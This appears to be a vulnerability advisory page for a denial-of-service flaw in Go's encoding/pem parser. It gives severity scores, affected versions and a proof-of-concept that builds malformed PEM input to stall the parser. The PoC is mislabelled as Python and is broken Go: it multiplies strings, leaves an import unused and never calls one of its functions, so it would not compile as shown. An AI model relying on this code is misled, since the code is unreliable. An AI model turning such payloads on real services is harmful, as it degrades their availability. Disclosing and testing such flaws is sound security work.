The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
Go语言 < 1.23.x(所有使用encoding/pem包解析不可信输入的版本)
Go 1.22.x 系列
Go 1.21.x 系列
Go 1.20.x 系列
更早的Go版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main
import (
"fmt"
"time"
"encoding/pem"
"io/ioutil"
)
func generateMalformedPEM() string {
// Generate malformed PEM input that triggers non-linear parsing
// This creates a PEM block with crafted content that causes
// the parser to consume excessive CPU time
header := "-----BEGIN TEST-----\n"
// Crafted payload: repeated malformed data patterns
payload := "INVALID" + "A"*10000 + "\n"
payload = payload + "-----BEGIN-----\n" // Nested/malformed header
payload = payload + "B"*5000 + "\n"
payload = payload + "-----BEGIN-----\n" // Another malformed header
payload = payload + "C"*5000 + "\n"
footer := "-----END TEST-----"
return header + payload + footer
}
func main() {
malformedPEM := generateMalformedPEM()
fmt.Println("Starting DoS test with malformed PEM input...")
fmt.Printf("PEM size: %d bytes\n", len(malformedPEM))
start := time.Now()
// This will trigger the non-linear parsing behavior
block, _ := pem.Decode([]byte(malformedPEM))
elapsed := time.Since(start)
fmt.Printf("Parsing completed in: %v\n", elapsed)
fmt.Printf("Decoded block type: %s\n", block.Type)
fmt.Printf("Decoded block length: %d bytes\n", len(block.Bytes))
// With crafted input, parsing time should grow non-linearly
if elapsed > 1*time.Second {
fmt.Println("WARNING: Parsing took unexpectedly long time!")
fmt.Println("This indicates potential DoS vulnerability")
}
}
// Additional test: iterate with increasing input sizes
func measureParsingTime() {
sizes := []int{1000, 2000, 5000, 10000, 20000}
fmt.Println("\nMeasuring parsing time vs input size:")
for _, size := range sizes {
payload := generateMalformedPEMOfSize(size)
start := time.Now()
pem.Decode([]byte(payload))
elapsed := time.Since(start)
fmt.Printf("Size %d -> Time %v\n", size, elapsed)
}
}
func generateMalformedPEMOfSize(targetSize int) string {
header := "-----BEGIN MALFORMED-----\n"
footer := "-----END MALFORMED-----\n"
// Generate content to approach target size
content := "X"
for len(content) < targetSize {
content += "-----BEGIN-----\nY\n"
}
return header + content + footer
}